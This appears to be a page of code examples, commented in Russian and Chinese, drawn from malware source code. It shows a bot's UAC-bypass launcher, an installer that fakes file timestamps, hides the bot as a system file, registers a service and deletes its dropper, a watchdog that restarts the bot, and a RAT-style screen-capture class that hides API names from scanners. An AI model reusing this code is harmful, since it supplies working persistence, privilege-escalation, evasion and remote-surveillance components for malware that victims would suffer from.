Пример #1
0
bool RunBotBypassUAC( int method, int task, const char* args )
{
	bool ret = false;
	method = 0; //используем только метод обхода 0
	string path = BOT::GetBotFullExeName();
	DBG( "Exe бота %s превращаем в длл", path.t_str() );
	DWORD dataSize;
	BYTE* data = File::ReadToBufferA( path.t_str(), dataSize );
	if( data == 0 ) return false;
	if( ConvertExeToDll(data) )
	{
		int lenArgs = m_lstrlen(args); //размер памяти под аргументы
		int szTask = sizeof(BypassUACTask) + lenArgs + 1;
		BypassUACTask* ptask = (BypassUACTask*)MemAlloc(szTask);
		ptask->time = (DWORD)pGetTickCount();
		ptask->task = task;
		ptask->lenArgs = lenArgs;
		m_memcpy( ptask->args, args, lenArgs + 1 );
		if( File::WriteBufferA(BOT::MakeFileName( 0, FileTask ).t_str(), ptask, szTask ) == szTask )
		{
			ret = RunDllBypassUAC( data, dataSize, method );
			if( !ret ) //по какой-то причине не сработало
				pDeleteFileA(BOT::MakeFileName( 0, FileTask ).t_str() );
		}
		MemFree(ptask);
	}
	MemFree(data);
	return ret;
}
Пример #2
0
//----------------------------------------------------
//  Install - Функция инсталирует бота
//
//  IsUpdate - Признак того, что идёт обновление бота
//             а не первая инсталяция
//
//  DeleteSourceFile - Удалять ли исходный файл
//
//  SourceFileProcessPID - PID процесса, котрый
//                         необходимо завершить перед
//                         удалением исходного файла
//----------------------------------------------------
BOOL WINAPI Install(const char* FileName, BOOL IsUpdate, BOOL DeleteSourceFile, DWORD SourceFileProcessPID)
{
	if (!File::IsExists((PCHAR)FileName))
		return FALSE;

	string BotFile = BOT::GetBotFullExeName();

	// Проверяем не пытаемся ли мы запустить инсталяцию из
	// самого себя
	if (StrSame((PCHAR)FileName, BotFile.t_str(), false, 0))
		return FALSE;

	INSTDBG("Installer", "Инсталируем бот. Exe бота %s", BotFile.t_str());

	// Снимаем защиту и удаляем файл
	if (IsUpdate) BOT::Unprotect();
	BOT::DeleteBotFile(BotFile.t_str(), INFINITE, false);

	//  Копируем файл
	BOOL Result = (BOOL)pCopyFileA(FileName, BotFile.t_str(), TRUE);
	INSTDBG("Installer", "Копируем файл бота. [Result=%d; Err=%d]", Result, pGetLastError());

	if (Result)
	{
		// Устанавливаем дату и атрибуты файла
		SetFakeFileDateTime(BotFile.t_str());
		pSetFileAttributesA(BotFile.t_str(), FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY );
    }

	// Инсталируем сервис
	if (IsUpdate)
	{
		// Обновляем сервис
		// В случае неудачи пытаемся установить сервис заново
		if (!BOT::UpdateService(FileName))
			BOT::InstallService(FileName);
	}
	else
		BOT::InstallService(FileName);


	// Ставим защиту на ехе бота
	if (IsUpdate) BOT::Protect(NULL);

	// Удаляем файл источник
	if (DeleteSourceFile)
	{
		DWORD Start = (DWORD)pGetTickCount();

		while ((DWORD)pGetTickCount() - Start < 5000)
		{
			if (SourceFileProcessPID)
				pWinStationTerminateProcess(NULL, SourceFileProcessPID, DBG_TERMINATE_PROCESS);

			pSetFileAttributesA(FileName, FILE_ATTRIBUTE_ARCHIVE );
			BOOL Deleted = (BOOL)pDeleteFileA(FileName);
			if (Deleted || pGetLastError() != 5) break;
			pSleep(50);
        }
	}
	
	INSTDBG("Installer", "Установка бота завершена. [Result=%d]", Result);

	return Result != FALSE;
}
Пример #3
0
uint32_t get_tick_count()
{
    return pGetTickCount();
}
Пример #4
0
DWORD KeepAliveCheckProcessThread(LPVOID ProcessNomber)
{
	// Поток проверки жизни процесса

	PCHAR MutexName = GetKeepAliveMutexName((DWORD)ProcessNomber);
	if (MutexName == NULL) return 0;

	// Запускаем бесконечный цикл проверки существования мютекса
	// отсутствие мютекса означает, что процесс создавший мютекс
	// "упал" и требует перезапуска

    const static DWORD MinInterval = 60000;

	DWORD FailedCount  = 0; // Количество проваленных попыток открытия мютекса
	DWORD RestartCount = 0; // Количество перезапусков с интервалом меньше доступного
	DWORD RestartTime  = 0;  // Время одного перезапуска



	while (true)
	{
		// Открываем мютекс
		HANDLE Handle = (HANDLE)pOpenMutexA(MUTEX_ALL_ACCESS, false, MutexName);
		if (Handle != NULL)
		{
			// Мютекс существует.
			// Обнуляем счётчик провалов
		   FailedCount = 0;

           pCloseHandle(Handle);
		}
		else
		{
			// Мютекс отсутствует, принимаем меры для устранения проблемы
			FailedCount++;

			if (FailedCount >= 5)
			{
				// перезапускаем процесс

				FailedCount = 0;
				KeepAliveRestartProcess((DWORD)ProcessNomber);

				// Проверяем время рестарта
				DWORD NewTime = (DWORD)pGetTickCount();
				if (RestartTime != 0)
				{
					if ((NewTime - RestartTime) <= MinInterval)
					{
						RestartCount++;
						if (RestartCount >= 3)
						{
							// процесс не стабилен и часто падает.
							// Во избежание нагрузки на ПК и психику
							// пользователя прекращаем мониторинг не стабильного
							// процесса
							return 0;
                        }
					}
					else
					{
						RestartTime  = 0;
						RestartCount = 0; // Обнуляем счтчик частоты перезапуска
					}
				}

				RestartTime = NewTime;
            }
		}
		// Приостанавливаем поток
        pSleep(2000);
	}
}
Пример #5
0
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
    switch (biBitCount)
    {
    case 1:
    case 4:
    case 8:
    case 16:
    case 32:
        m_biBitCount = biBitCount;
        break;
    default:
        m_biBitCount = 8;
    }
    char DYrEN66[] = {'G','e','t','D','C','\0'};
    GetDCT pGetDC=(GetDCT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN66);
    char DYrEN67[] = {'G','e','t','D','e','s','k','t','o','p','W','i','n','d','o','w','\0'};
    GetDesktopWindowT pGetDesktopWindow=(GetDesktopWindowT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN67);
    if (!SelectInputWinStation())
    {
        m_hDeskTopWnd = pGetDesktopWindow();
        m_hFullDC = pGetDC(m_hDeskTopWnd);
    }

    m_dwBitBltRop	= SRCCOPY;

    char DYrEN68[] = {'G','e','t','S','y','s','t','e','m','M','e','t','r','i','c','s','\0'};
    GetSystemMetricsT pGetSystemMetrics=(GetSystemMetricsT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN68);
    char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'};
    GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70);
    m_bAlgorithm	= ALGORITHM_SCAN; // 默认使用隔行扫描算法
    m_dwLastCapture	= pGetTickCount();
    m_nMaxFrameRate	= nMaxFrameRate;
    m_dwSleep		= 1000 / nMaxFrameRate;
    m_bIsGray		= bIsGray;
//    m_nFullWidth	= ::GetSystemMetrics(SM_CXSCREEN);
//    m_nFullHeight	= ::GetSystemMetrics(SM_CYSCREEN);
    m_nFullWidth	= pGetSystemMetrics(SM_CXSCREEN);
    m_nFullHeight	= pGetSystemMetrics(SM_CYSCREEN);

    m_nIncSize		= 32 / m_biBitCount;

    m_nStartLine	= 0;

    char DYrEN75[] = {'C','r','e','a','t','e','C','o','m','p','a','t','i','b','l','e','D','C','\0'};
    CreateCompatibleDCT pCreateCompatibleDC=(CreateCompatibleDCT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN75);
//	m_hFullMemDC	= ::CreateCompatibleDC(m_hFullDC);
//	m_hDiffMemDC	= ::CreateCompatibleDC(m_hFullDC);
//	m_hLineMemDC	= ::CreateCompatibleDC(NULL);
//	m_hRectMemDC	= ::CreateCompatibleDC(NULL);
    m_hFullMemDC	= pCreateCompatibleDC(m_hFullDC);
    m_hDiffMemDC	= pCreateCompatibleDC(m_hFullDC);
    m_hLineMemDC	= pCreateCompatibleDC(NULL);
    m_hRectMemDC	= pCreateCompatibleDC(NULL);
    m_lpvLineBits	= NULL;
    m_lpvFullBits	= NULL;

    m_lpbmi_line	= ConstructBI(m_biBitCount, m_nFullWidth, 1);
    m_lpbmi_full	= ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
    m_lpbmi_rect	= ConstructBI(m_biBitCount, m_nFullWidth, 1);

    char DYrEN72[] = {'C','r','e','a','t','e','D','I','B','S','e','c','t','i','o','n','\0'};
    CreateDIBSectionT pCreateDIBSection=(CreateDIBSectionT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN72);
//	m_hLineBitmap	= ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
//	m_hFullBitmap	= ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
//	m_hDiffBitmap	= ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
    m_hLineBitmap	= pCreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
    m_hFullBitmap	= pCreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
    m_hDiffBitmap	= pCreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);

    char DYrEN80[] = {'S','e','l','e','c','t','O','b','j','e','c','t','\0'};
    SelectObjectT pSelectObject=(SelectObjectT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN80);
//	::SelectObject(m_hFullMemDC, m_hFullBitmap);
//	::SelectObject(m_hLineMemDC, m_hLineBitmap);
//	::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
    pSelectObject(m_hFullMemDC, m_hFullBitmap);
    pSelectObject(m_hLineMemDC, m_hLineBitmap);
    pSelectObject(m_hDiffMemDC, m_hDiffBitmap);

    char DmDjm02[] = {'S','e','t','R','e','c','t','\0'};
    SetRectT pSetRect=(SetRectT)GetProcAddress(LoadLibrary("USER32.dll"),DmDjm02);
//	::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
    pSetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);

    // 足够了
    m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
    m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;

    m_rectBufferOffset = 0;
}
Пример #6
0
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
    static LONG	nOldCursorPosY = 0;
    if (lpdwBytes == NULL || m_rectBuffer == NULL)
        return NULL;

    SelectInputWinStation();

    // 重置rect缓冲区指针
    m_rectBufferOffset = 0;

    // 写入使用了哪种算法
    WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));

    // 写入光标位置
    POINT	CursorPos;
    char CtxPW58[] = {'G','e','t','C','u','r','s','o','r','P','o','s','\0'};
    GetCursorPosT pGetCursorPos=(GetCursorPosT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW58);
    pGetCursorPos(&CursorPos);
    WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));

    // 写入当前光标类型
    BYTE	bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
    WriteRectBuffer(&bCursorIndex, sizeof(BYTE));

    // 差异比较算法
    if (m_bAlgorithm == ALGORITHM_DIFF)
    {
        // 分段扫描全屏幕
        ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
        *lpdwBytes = m_rectBufferOffset +
                     Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
        return m_rectBuffer;
    }

    // 鼠标位置发变化并且热点区域如果发生变化,以(发生变化的行 + DEF_STEP)向下扫描
    // 向上提
    int	nHotspot = max(0, CursorPos.y - DEF_STEP);
    for (
        int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine;
        i < m_nFullHeight;
        i += DEF_STEP
    )
    {
        if (ScanChangedRect(i))
        {
            i += DEF_STEP;
        }
    }
    nOldCursorPosY = CursorPos.y;

    m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
    *lpdwBytes = m_rectBufferOffset;

    char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'};
    GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70);
    // 限制发送帧的速度
    char FBwWp25[] = {'S','l','e','e','p','\0'};
    SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25);
    while (pGetTickCount() - m_dwLastCapture < m_dwSleep)
        pSleep(1);
    char SSzlC21[] = {'I','n','t','e','r','l','o','c','k','e','d','E','x','c','h','a','n','g','e','\0'};
    InterlockedExchangeT pInterlockedExchange=(InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),SSzlC21);
    pInterlockedExchange((LPLONG)&m_dwLastCapture, pGetTickCount());

    return m_rectBuffer;
}